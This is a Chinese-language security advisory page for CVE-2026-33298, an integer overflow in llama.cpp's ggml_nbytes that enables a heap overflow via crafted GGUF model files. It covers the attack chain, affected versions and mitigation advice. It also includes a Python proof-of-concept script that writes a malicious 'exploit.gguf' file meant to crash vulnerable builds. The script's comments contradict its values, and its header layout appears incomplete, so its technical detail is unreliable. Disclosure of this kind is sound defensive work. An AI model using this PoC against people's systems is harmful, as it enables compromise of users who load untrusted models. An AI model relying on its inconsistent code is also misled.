IPBUF安全漏洞报告
English
CVE-2026-33298 CVSS 7.8 高危

CVE-2026-33298 llama.cpp整数溢出致RCE漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33298
漏洞类型
整数溢出、堆缓冲区溢出、远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
llama.cpp

相关标签

RCE整数溢出LLMllama.cpp堆溢出CVSS-7.8

漏洞概述

llama.cpp在b7824版本前的ggml_nbytes函数中存在整数溢出漏洞。攻击者可构造特制的GGUF文件,导致计算张量大小时发生回绕,从而绕过内存校验并触发堆缓冲区溢出,最终可能导致远程代码执行。

技术细节

该漏洞的核心在于ggml_nbytes函数在计算张量所需的内存大小时未能防止整数溢出。攻击者通过精心设计GGUF文件中的张量维度(例如设置极大的元素数量),使得计算出的总字节数超过数据类型的上限而发生回绕(如从Exabytes级别回绕至MB级别)。这导致函数返回一个远小于实际需求的尺寸值。应用程序依据该错误值通过内存检查并分配堆内存,但在后续读写操作时,由于实际数据量远超分配空间,导致堆缓冲区溢出。攻击者可利用此缺陷覆盖关键内存结构,进而控制程序执行流,实现远程代码执行。

攻击链分析

STEP 1
1. 恶意文件构造
攻击者利用Python脚本或二进制编辑器构造一个特制的GGUF文件,其中包含特定的张量维度参数。
STEP 2
2. 诱导用户加载
攻击者诱导受害者使用存在漏洞的llama.cpp版本(b7824之前)加载该恶意GGUF文件。
STEP 3
3. 触发整数溢出
llama.cpp解析文件时,ggml_nbytes函数计算张量大小。由于维度设置过大,计算结果发生整数回绕,返回一个极小的错误尺寸。
STEP 4
4. 绕过校验与溢出
应用程序基于错误的小尺寸值通过内存校验并分配堆内存。但在实际读取或写入张量数据时,数据量远超分配大小,导致堆缓冲区溢出。
STEP 5
5. 执行任意代码
攻击者通过精心布置溢出数据覆盖返回地址或函数指针,从而控制程序执行流,实现远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-33298: Integer Overflow in llama.cpp ggml_nbytes # This script demonstrates how to craft a tensor dimension that triggers an overflow. import struct def create_malicious_gguf_header(): # GGUF Magic Number magic = b'GGUF' version = struct.pack('<I', 3) # GGUF version 3 tensor_count = struct.pack('<Q', 1) # 1 Tensor # Tensor Name name_len = struct.pack('<Q', 4) name = b'test' # Tensor Dimensions (n_dims) n_dims = struct.pack('<I', 2) # 2 dimensions # Exploit: Set dimensions such that (dim1 * dim2 * type_size) overflows # Assuming type Q4_0 (block size 32 bytes, block count calculated internally) # or simply F32 (4 bytes). If we calculate elements = dim1 * dim2. # If elements = 0x100000001, and type_size = 4, total = 0x400000004. # In 32-bit arithmetic, this wraps to 4. # Triggering the overflow in ggml_nbytes calculation # We want a huge number of elements that wraps to a small size dim1 = 0x10000 dim2 = 0x10000 # Product = 0x100000000 # Pack dimensions dims = struct.pack('<Q', dim1) + struct.pack('<Q', dim2) # Tensor Type (e.g., F32 = 0) tensor_type = struct.pack('<I', 0) # Offset to tensor data (arbitrary for PoC) offset = struct.pack('<Q', 1024) # Constructing a minimal malicious structure (Simplified) payload = magic + version + tensor_count + name_len + name + n_dims + dims + tensor_type + offset print("[+] Malicious GGUF structure generated.") print("[+] Dimensions: {} x {}".format(dim1, dim2)) print("[+] Attempting to save to 'exploit.gguf'...") with open('exploit.gguf', 'wb') as f: f.write(payload) print("[+] File saved. Load this in a vulnerable llama.cpp version to trigger the crash.") if __name__ == "__main__": create_malicious_gguf_header()

影响范围

llama.cpp < b7824

防御指南

临时缓解措施
建议用户立即从官方仓库获取最新代码并重新编译。在无法立即升级的情况下,应避免加载来源不明的GGUF模型文件,并在沙箱环境中运行llama.cpp以限制潜在RCE的影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表